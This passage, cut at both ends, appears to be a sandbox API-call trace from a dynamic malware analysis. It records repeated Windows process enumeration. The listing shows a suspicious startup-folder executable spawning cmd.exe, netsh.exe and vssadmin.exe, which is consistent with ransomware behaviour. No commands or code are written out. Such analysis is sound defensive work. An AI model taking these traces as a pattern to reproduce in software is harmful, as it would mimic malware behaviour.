th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vampire.exe")) returned 1 [0049.660] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declaration_earrings_moms.exe")) returned 1 [0049.661] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="damaged.exe")) returned 1 [0049.662] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrong.exe")) returned 1 [0049.662] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roll_plates.exe")) returned 1 [0049.663] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professionalheavywidth.exe")) returned 1 [0049.664] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="command.exe")) returned 1 [0049.664] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="friend_medicine.exe")) returned 1 [0049.862] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="examine.exe")) returned 1 [0049.862] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="september_introduced_justice.exe")) returned 1 [0049.863] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0049.864] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0049.864] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0049.865] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0049.866] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0049.866] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0049.867] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0049.868] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb34, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0049.868] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb3c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0049.869] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0049.870] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.870] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0049.871] CloseHandle (hObject=0x174) returned 1 [0049.871] Sleep (dwMilliseconds=0x1f4) [0050.732] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x170 [0050.735] Process32FirstW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0050.735] GetLastError () returned 0x12 [0050.735] SetLastError (dwErrCode=0x12) [0050.735] GetLastError () returned 0x12 [0050.736] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0050.736] GetLastError () returned 0x12 [0050.736] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0050.737] GetLastError () returned 0x12 [0050.737] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.738] GetLastError () returned 0x12 [0050.738] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0050.738] GetLastError () returned 0x12 [0050.738] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.739] GetLastError () returned 0x12 [0050.739] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0050.740] GetLastError () returned 0x12 [0050.740] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0050.740] GetLastError () returned 0x12 [0050.740] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0050.741] GetLastError () returned 0x12 [0050.741] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0050.742] GetLastError () returned 0x12 [0050.742] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.742] GetLastError () returned 0x12 [0050.743] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.743] GetLastError () returned 0x12 [0050.743] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.744] GetLastError () returned 0x12 [0050.744] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.745] GetLastError () returned 0x12 [0050.745] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.745] GetLastError () returned 0x12 [0050.745] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0050.746] GetLastError () returned 0x12 [0050.746] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.747] GetLastError () returned 0x12 [0050.747] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.747] GetLastError () returned 0x12 [0050.747] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0050.748] GetLastError () returned 0x12 [0050.748] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0050.749] GetLastError () returned 0x12 [0050.749] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0050.749] GetLastError () returned 0x12 [0050.749] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.750] GetLastError () returned 0x12 [0050.750] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.751] GetLastError () returned 0x12 [0050.751] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0050.751] GetLastError () returned 0x12 [0050.751] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.752] GetLastError () returned 0x12 [0050.752] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shakespeare-back.exe")) returned 1 [0050.753] GetLastError () returned 0x12 [0050.753] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="josh.exe")) returned 1 [0050.753] GetLastError () returned 0x12 [0050.753] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="senior.exe")) returned 1 [0050.754] GetLastError () returned 0x12 [0050.754] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashers-liability-centered.exe")) returned 1 [0050.755] GetLastError () returned 0x12 [0050.755] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="txtranslated.exe")) returned 1 [0050.755] GetLastError () returned 0x12 [0050.755] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="started.exe")) returned 1 [0050.756] GetLastError () returned 0x12 [0050.756] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="microwaveanalysis.exe")) returned 1 [0050.757] GetLastError () returned 0x12 [0050.757] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectiouscomparison.exe")) returned 1 [0050.758] GetLastError () returned 0x12 [0050.758] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pd barnes.exe")) returned 1 [0050.759] GetLastError () returned 0x12 [0050.759] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tradition.exe")) returned 1 [0050.759] GetLastError () returned 0x12 [0050.759] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="genetics dm penguin.exe")) returned 1 [0050.760] GetLastError () returned 0x12 [0050.760] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="metrichours.exe")) returned 1 [0050.761] GetLastError () returned 0x12 [0050.761] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cropssonic.exe")) returned 1 [0050.761] GetLastError () returned 0x12 [0050.761] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vampire.exe")) returned 1 [0050.762] GetLastError () returned 0x12 [0050.762] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declaration_earrings_moms.exe")) returned 1 [0050.763] GetLastError () returned 0x12 [0050.763] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="damaged.exe")) returned 1 [0050.763] GetLastError () returned 0x12 [0050.763] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrong.exe")) returned 1 [0050.764] GetLastError () returned 0x12 [0050.764] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roll_plates.exe")) returned 1 [0050.765] GetLastError () returned 0x12 [0050.765] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professionalheavywidth.exe")) returned 1 [0050.765] GetLastError () returned 0x12 [0050.766] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="command.exe")) returned 1 [0050.766] GetLastError () returned 0x12 [0050.766] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="friend_medicine.exe")) returned 1 [0050.767] GetLastError () returned 0x12 [0050.767] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="examine.exe")) returned 1 [0050.768] GetLastError () returned 0x12 [0050.768] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="september_introduced_justice.exe")) returned 1 [0050.768] GetLastError () returned 0x12 [0050.768] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0050.769] GetLastError () returned 0x12 [0050.769] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0050.770] GetLastError () returned 0x12 [0050.770] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0050.770] GetLastError () returned 0x12 [0050.770] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0050.771] GetLastError () returned 0x12 [0050.771] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0050.772] GetLastError () returned 0x12 [0050.772] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0050.772] GetLastError () returned 0x12 [0050.772] Process32NextW (in: hSnapshot=0x170, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, 